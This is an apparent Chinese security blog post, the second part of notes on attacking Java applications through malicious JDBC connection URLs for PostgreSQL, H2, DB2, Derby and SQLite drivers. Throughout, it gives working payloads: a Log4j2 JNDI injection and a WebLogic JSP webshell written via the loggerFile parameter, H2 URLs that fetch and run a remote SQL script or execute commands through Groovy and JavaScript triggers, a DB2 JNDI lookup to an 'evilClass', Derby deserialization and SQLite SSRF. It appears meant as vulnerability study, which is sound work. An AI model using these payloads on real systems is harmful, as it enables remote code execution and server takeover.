JAVA_JDBC_PART2

Mysql

PART1

PostgreSQL

postgresql驱动的版本号比较跳跃,从9.4.x之后直接跳到了42.0.x。

在postgresql 42.3.2、42.2.25中修复了漏洞CVE-2022-21724.

还有相关pg的洞在官网中都能看到,甚至会给poc

socketFactory / socketFactoryArg

官网中对其描述

image-20250120150348521

socketFactory在pg建立连接时,指定SSLSocket工厂类,并进行初始化。

socketFactoryArg 为该工程类所需要的参数

在Spring环境下,为实现IOC功能

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

会从加载配置文件,通过反射实现类的实例化。

检测socketFactory不为空时,初始化指定的工厂类。

image-20250120144533032

反射,获取参数为String的构造方法,初始化

image-20250120144832448

refresh方法对配置文件所指的对象进行实例化

修复方法为,对类做了限定,必须是SocketFactory的子类

image-20250120150112311

sslfamctory / sslfactoryarg

与socketFactory大致相同,但需要在连接后返回内容以S开头,才会转为ssl连接,进而加载恶意类.

注意参数是小写

weblogic环境

  • com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

loggerLevel / loggerFile

顾名思义,记录连接日志用的

jdbc:postgresql://localhost:5432/testdb?loggerLevel=TRACE&loggerFile=pgjdbc.log

jdbc:postgresql://localhost:5432/testdb?loggerLevel=TRACE&loggerFile=pgjdbc.log

Apache Log4j2 日志注入

注入Apache Log4j2的payload在JDBC URL里达到日志污染的目的,当Log4j2组件读取日志时,便会触发payload

jdbc:postgresql://localhost:5432/${jndi:ldap://127.0.0.1:1389/eajmgl}?loggerLevel=TRACE&loggerFile=pgjdbc.log

Weblogic webshell

weblogic环境下可写入一句话木马,其他环境视情况而定

jdbc:postgresql://127.0.0.1:5432/testdb?<%Runtime.getRuntime().exec("open -a calculator")};%>=1&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp

H2

H2是一个JAVA语言编写的嵌入式数据库,它不受平台限制同时H2提供了一个十分方便的web控制台,用于操作和管理数据库内容.

h2数据库官方文档

在其连接参数中有一个选项可指定在连接时执行的SQL语句,(想起了在PHP中也有类似的参数)

image-20250121150142320

h2可以让用户自定义函数,那我们就可以创建一个后门,让客户端加载来执行。

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';
CALL EXEC ('calc')
jdbc:h2:mem:teStdb;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'	

不出网环境利用

即源码编译器是支持三种代码的

image-20250121161610334

在Groovy中存在一种注解ASTTest,用来在编译时进行代码检查,这里可以利用特性来进行代码执行,但需要存在groovy的依赖

        String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x";
        String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
        Connection connection = DriverManager.getConnection(url);
        System.out.println(groovy);

而JS编译器在编译时,不仅会编译还会通过eval执行一次,总结来说js效果更好,限制更少

public static void main (String[] args) throws ClassNotFoundException, SQLException {
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculat
or\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON
INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();

这里在复现时没有成功执行,具体原因和解决方法见issue

        String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"calc\")";
        String url = "jdbc:h2:mem:test;OLD_INFORMATION_SCHEMA=TRUE;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS  AS '"+ javascript +"'";
        Connection conn = DriverManager.getConnection(url);
        conn.close();

DB2

clientRerouteServerListJNDINameIdentifies参数可进行jndi注入

需要先进行连接,懒得建了,略

public static void main(String[] args) throws Exception {
    Class.forName("com.ibm.db2.jcc.DB2Driver");
    DriverManager.getConnection("jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;");
}

ModeShape

ModeShape是java标准apiJCR的实现

JCR (Java Content Repository) 是一个 Java 平台上的标准 API,旨在为内容存储和管理提供统一的接口。它定义了一种用于存储、检索和管理结构化和非结构化内容的规范。JCR 使得 Java 应用程序可以以标准化的方式访问和操作内容库(Content Repository),不依赖于特定的实现或存储后端。

JCR 规范由 JSR 170 和后来的 JSR 283 定义,后者是 JCR 2.0 的版本。JCR 主要用于内容管理系统(CMS)、文档管理、企业内容管理(ECM)等场景。
        <dependency>
            <groupId>org.modeshape</groupId>
            <artifactId>modeshape-jdbc</artifactId>
            <version>5.4.1.Final</version>
        </dependency>

image-20250121175422241

Apache Derby

类似H2,使用java语言编写,支持嵌入。官网

在主从复制时,Derby master会从Derby Slave服务器读取数据流,在master进行反序列化操作,相关参数为

startMasterslaveHost

<dependency>
    <groupId>org.apache.derby</groupId>
    <artifactId>derby</artifactId>
    <version>10.17.1.0</version>
    <scope>test</scope>
</dependency>

Master

public class derbyAttack {
    public static void main(String[] args) throws Exception {
        DriverManager.getConnection("jdbc:derby:webdb;startMaster=true;slaveHost=127.0.0.1");
    }
}

直接跑payload会报错,先创建一个数据库,用到另一个参数create=true

image-20250122002704377

image-20250122003244246

另外注意java版本与derby版本的对应关系

image-20250122003615766

SQLite

SQLite JDBC文档

SQLite驱动在url以:resource:开头时,会读取指定地址的资源文件,造成一个ssrf漏洞

public class sqLiteAttack {
    public static void main(String[] args) throws Exception {
        Class.forName("org.sqlite.JDBC");
        DriverManager.getConnection("jdbc:sqlite::resource:http://127.0.0.1:8000/poc.sql");
    }

https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/

前面是说通过CREATE VIEW劫持查询,在load_extension能用的情况下就可以劫持select语句加载恶意so文件,后面讲到内存损坏的一些东西就看不太懂了。

参考

Make JDBC Attacks Brilliant Again

Make JDBC Attacks Brilliant Again 番外篇

JDBC Connection URL Attack

posted @   cyyyyi  阅读(2)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
· 上周热点回顾(2.17-2.23)
点击右上角即可分享
微信分享提示